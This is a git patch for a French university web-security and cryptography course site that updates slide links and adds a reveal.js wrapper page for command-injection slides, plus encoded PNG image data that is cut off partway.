From 2c4ef04ffbb179c3232683b941adf8438cb58a6e Mon Sep 17 00:00:00 2001 From: Vincent Mazenod <vmazenod@gmail.com> Date: Sun, 6 Jan 2019 00:42:48 +0100 Subject: [PATCH] =?UTF-8?q?privacy-crypto=20+=20websec=20fusionn=C3=A9s=20?= =?UTF-8?q?raccourcis?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- content/Etudiants/zz2-f5-privacy-crypto.md | 7 +- content/Etudiants/zz2-f5-websec.md | 15 +- content/slides/1337/cmdi.html | 70 +++++++++ .../1337/images/authentication/Shibboleth.png | Bin 0 -> 21232 bytes .../authentication/google-authenticator.png | Bin 0 -> 19601 bytes content/slides/1337/md/authentication.md | 14 +- content/slides/1337/md/cmdi.md | 148 ++++++++++++++++++ content/slides/1337/md/http.md | 9 +- content/slides/index.html | 2 +- content/slides/privacy/md/TLSvsPGP.md | 13 +- content/slides/privacy/md/crypto.md | 2 +- content/slides/privacy/md/tls.md | 2 +- 12 files changed, 262 insertions(+), 20 deletions(-) create mode 100644 content/slides/1337/cmdi.html create mode 100644 content/slides/1337/images/authentication/Shibboleth.png create mode 100644 content/slides/1337/images/authentication/google-authenticator.png create mode 100644 content/slides/1337/md/cmdi.md diff --git a/content/Etudiants/zz2-f5-privacy-crypto.md b/content/Etudiants/zz2-f5-privacy-crypto.md index 43221fc..0fa9729 100644 --- a/content/Etudiants/zz2-f5-privacy-crypto.md +++ b/content/Etudiants/zz2-f5-privacy-crypto.md @@ -13,16 +13,21 @@ Tags: cours * [mots de passes](slides/privacy/passwords.html) * [tracking](slides/privacy/tracking.html) * [souveraineté](slides/privacy/sovereignty.html) - * [tails](slides/privacy/tails.html) + + <!-- * [tails](slides/privacy/tails.html) --> ### Crypto * [principes cryptographiques](slides/privacy/crypto.html) * [tls](slides/privacy/tls.html) + * [Heartbleed](slides/1337/heartbleed.html) + +<!-- * [pgp](slides/privacy/pgp.html) * [tls vs pgp](slides/privacy/TLSvsPGP.html) * [tor](slides/privacy/tor.html) / [tor pour les moldus](slides/privacy/tor_lite.html) * [bitcoin](slides/privacy/bitcoin.html) +--> <div class="panel panel-success"> <div class="panel-heading"> diff --git a/content/Etudiants/zz2-f5-websec.md b/content/Etudiants/zz2-f5-websec.md index 8f35991..759a390 100644 --- a/content/Etudiants/zz2-f5-websec.md +++ b/content/Etudiants/zz2-f5-websec.md @@ -9,24 +9,25 @@ Tags: cours * Architecture - * [HTTP](slides/1337/http.htm) + * [HTTP](slides/1337/http.html) * Pentesting - * [Collecter](https://doc.m4z3.me/_/1337/collecter.htm) - * [Détecter](https://doc.m4z3.me/_/1337/detecter.htm) + * [Collecter](slides/1337/collecting.html) -* Exploit + * [Détecter](slides/1337/detecting.html) + +<!-- * Exploit - * [Heartbleed](https://doc.m4z3.me/_/1337/heartbleed.htm) + * [Heartbleed](slides/1337/heartbleed.html) --> * Mécanisme - * [Authentification](https://doc.m4z3.me/_/1337/AUTH.htm) + * [Authentification](slides/1337/authentication.html) * Vulnérabilités communes - * [Command execution](https://doc.m4z3.me/_/1337/CMDi.htm) + * [Command execution](slides/1337/cmdi.html) * Exploit diff --git a/content/slides/1337/cmdi.html b/content/slides/1337/cmdi.html new file mode 100644 index 0000000..84b376e --- /dev/null +++ b/content/slides/1337/cmdi.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>CMDi</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/cmdi.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/1337/images/authentication/Shibboleth.png b/content/slides/1337/images/authentication/Shibboleth.png new file mode 100644 index 0000000000000000000000000000000000000000..9911a9b8309321dcaece4d4326abf88ab62774ac GIT binary patch literal 21232 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 